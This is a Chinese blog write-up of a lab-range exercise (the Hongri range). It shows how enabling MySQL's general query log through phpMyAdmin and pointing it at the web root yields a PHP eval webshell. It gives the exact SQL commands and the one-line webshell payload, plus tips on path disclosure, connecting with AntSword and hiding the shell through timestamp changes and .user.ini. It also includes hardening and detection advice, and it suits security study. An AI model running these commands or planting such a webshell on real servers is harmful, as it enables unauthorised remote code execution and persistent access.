当前位置: 首页 > news >正文

红日靶场实战复盘:我是如何利用phpMyAdmin日志写入拿到WebShell的

红日靶场深度解析:phpMyAdmin日志写入WebShell的技术细节与实战思考

在渗透测试的实战环境中,数据库管理系统往往是突破内网防线的关键跳板。phpMyAdmin作为MySQL最流行的Web管理工具,其安全配置的疏忽可能带来灾难性后果。本文将聚焦一个经典攻击手法——通过操纵MySQL通用查询日志实现WebShell写入,结合红日靶场环境,从技术原理、环境检测到完整攻击链展开深度剖析。

1. 攻击前置条件与技术原理

任何有效的攻击都建立在精准的环境判断之上。通过日志写入WebShell需要同时满足三个核心条件:

  1. MySQL日志功能启用状态
    general_log参数控制所有SQL查询的记录状态,默认关闭。攻击者需先将其置为ON,并通过general_log_file指定日志路径为Web可解析目录(如.php后缀)。

  2. 文件写入权限配置
    secure_file_priv参数决定MySQL导出文件的权限范围。当值为空字符串时允许写入任意目录;若为NULL则完全禁止导出操作。该参数需通过my.ini配置文件修改,动态SQL无法调整。

  3. Web目录路径已知
    必须准确获知网站根目录的物理路径(如C:\phpStudy\WWW\),否则写入的WebShell无法通过HTTP访问。

技术原理深度:
MySQL的通用查询日志会原样记录所有执行的SQL语句。当我们将日志文件路径设置为Web目录下的.php文件,并在日志中插入<?php eval($_POST[cmd]);?>等PHP代码时,该文件会被Web服务器解析执行。与into outfile相比,此方法绕过了一些常见的写入限制。

2. 环境检测与信息收集实战

在红日靶场中,我们通过以下步骤确认攻击可行性:

2.1 数据库权限验证

-- 查看当前用户权限 SHOW GRANTS; -- 确认文件操作权限 SELECT File_priv FROM mysql.user WHERE user='root';

若返回YGRANT ALL PRIVILEGES,则具备必要条件。

2.2 关键参数检测

-- 检查日志状态与路径 SHOW VARIABLES LIKE 'general_log%'; -- 验证导出限制 SHOW VARIABLES LIKE 'secure_file_priv';

典型安全配置与风险对比:

参数安全配置风险配置
general_logOFFON
general_log_file非Web目录Web目录.php文件
secure_file_privNULL或特定目录空字符串

2.3 路径探测技巧

通过phpMyAdmin界面查看数据库表内容,寻找包含路径信息的记录(如wp_options表中的siteurl)。也可尝试:

-- 通过报错信息泄露路径 SELECT 1 FROM nonexistent_table; -- 利用phpMyAdmin已知文件 SELECT LOAD_FILE('/etc/phpmyadmin/config.inc.php');

3. 完整攻击链实现步骤

3.1 启用日志并设置路径

-- 激活通用查询日志 SET GLOBAL general_log = 'ON'; -- 设置日志路径为Web目录 SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';

注意:路径中的斜杠方向需根据操作系统调整,Windows建议使用正斜杠或双反斜杠。

3.2 写入WebShell代码

通过执行包含PHP代码的无效查询实现写入:

SELECT '<?php @eval($_POST["cmd"]);?>';

此时查看日志文件内容应包含完整的PHP标签。访问http://target/shell.php验证是否解析成功。

3.3 连接与权限维持

使用蚁剑等工具连接时需注意:

  1. 编码设置:默认UTF-8,遇乱码需调整
  2. 超时控制:内网环境适当延长超时时间
  3. 隐蔽措施
    • 修改WebShell文件时间为周围文件相同
    • 使用.user.ini等隐蔽启动方式

4. 防御策略与攻击溯源

从防御者视角,建议采取以下措施:

  • 权限最小化
    限制MySQL用户权限,移除非必要账户的FILE权限

  • 参数加固
    my.ini中设置:

    secure_file_priv = NULL general_log = OFF
  • 日志监控
    对以下异常行为建立告警机制:

    • general_log参数动态修改
    • 非常规路径的.php文件创建
    • 包含eval/system等函数的SQL语句

攻击溯源时可检查:

  • MySQL的general_log记录(若开启)
  • Web服务器的访问日志中异常.php文件请求
  • 系统进程中的可疑PHP解释行为

5. 方法论延伸与思考

这种攻击手法之所以在红日靶场中成功,本质上是利用了"功能即漏洞"的安全哲学。数据库管理员为调试开启日志功能,却未考虑到日志文件本身可能成为代码执行的载体。这给我们带来更深的启示:

  1. 安全配置的连锁效应
    单个参数的疏忽(如secure_file_priv)可能使其他安全措施(如禁用into outfile)失效

  2. 纵深防御的必要性
    即使Web应用本身无漏洞,依赖服务的配置不当仍可导致沦陷

  3. 攻击面的全面评估
    在安全审计中,需对所有数据输出点(包括日志、缓存等)进行代码注入测试

在真实环境中,这种攻击常与其他技术组合使用。例如先通过SQL注入获取管理员密码登录phpMyAdmin,或利用本地文件包含(LFI)将日志文件作为代码执行。防御者需要建立多维度的防护体系,而攻击者则需不断探索各层防御间的缝隙——这正是渗透测试技术迷人的辩证关系。

http://www.gsyq.cn/news/1335423.html

相关文章:

  • 保姆级教程:Halcon20.11在Windows系统下的完整安装与破解配置(附常见问题解决)
  • 学校开始查AI率了!知网AIGC检测到底是什么原理?
  • 实战:如何用OpenPCDet训练你自己的“树”检测模型(附完整数据集与配置文件)
  • 别再傻傻分不清!用打电话、对讲机、广播这些生活例子,5分钟搞懂串行通信里的单工、半双工和全双工
  • mg3640s,g2800,ts9000,ts9020,ts9080,ts3380,ts3440,ts9180如何清零详细教程报错5B00,P07,E08,1700,5b04废墨垫清零,亲测有用。
  • 告别CPU轮询:用HC32F4A0的AOS+DMA实现ADC自动搬运数据
  • 云原生开发的新趋势:Kubernetes、Serverless与边缘计算
  • 用Field II和MATLAB搞定超声波声场仿真:从理论推导到代码实战(附源码)
  • 2026年兰州景观亮化靠谱厂家TOP5:兰州建筑亮化、兰州建筑泛光照明、兰州文旅亮化、兰州旅游景区亮化、兰州景观泛光照明选择指南 - 优质品牌商家
  • Electron在鸿蒙PC上注册全局快捷键,我被热键冲突和权限回收搞疯了
  • 从零搭建企业级网络准入:用Agile Controller-Campus + 华为交换机实战802.1X认证
  • STM32G431时钟树配置避坑指南:从CubeMX图形化到代码实战,手把手教你调出80MHz主频
  • 实战避坑:基于STM32或全志平台调试MIPI-DSI屏的常见问题与排查指南
  • LabVIEW事件驱动状态机:从原理到实战的混合编程架构解析
  • 别再死记硬背ELMo、GPT、BERT的区别了!一张图带你搞懂它们的核心差异与适用场景
  • DHT11温湿度数据不准?可能是时序问题!用51单片机(STC12)和逻辑分析仪调试避坑指南
  • 当流程图XML“损坏”时:手把手教你用Activiti API解析与修复BPMN文件
  • 为什么顶尖思想家团队只用Perplexity搜名言?——独家披露哈佛肯尼迪学院实测数据:准确率92.4%,响应延迟<1.7s(附配置白皮书)
  • WebRTC只管流不管控——自研信令服务器的状态机设计
  • SAP-ABAP:数据类型与数据对象(8篇) 第七篇:进阶优化篇——基于类型与对象特征的性能优化技巧
  • #SAP-ABAP:数据类型与数据对象(8篇) 第六篇:操作实践篇——数据对象的常用操作与异常处理方案
  • 从下载到上线:用CobaltStrike 4.8汉化版快速搭建你的第一个渗透测试实验室
  • 避坑指南:VMware安装RockyLinux后网络不通、SSH连不上的常见问题排查与修复
  • 从Matlab仿真到上板验证:手把手完成Xilinx DDS多项数据生成的全流程
  • 人工智能,应用层和算法层到底该怎么选?
  • Hitboxer:专业级SOCD按键重映射工具,3分钟解决游戏输入冲突
  • 【范式转换】从 XPath 定位到意图驱动:AI 视觉是如何重塑 UI 操作的?
  • 2026年Q2华东区域专业热喷涂服务商排行盘点:湖州,杭州,嘉兴,抗氧化热喷涂/电弧喷涂/电弧热喷涂/等离子热喷涂/选择指南 - 优质品牌商家
  • 避坑指南:在UE里用蓝图做传送门,Actor旋转、碰撞检测这些细节千万别踩坑
  • 保姆级教程:用紫光同创FPGA驱动OV5640摄像头,从I2C配置到DDR3读写避坑全流程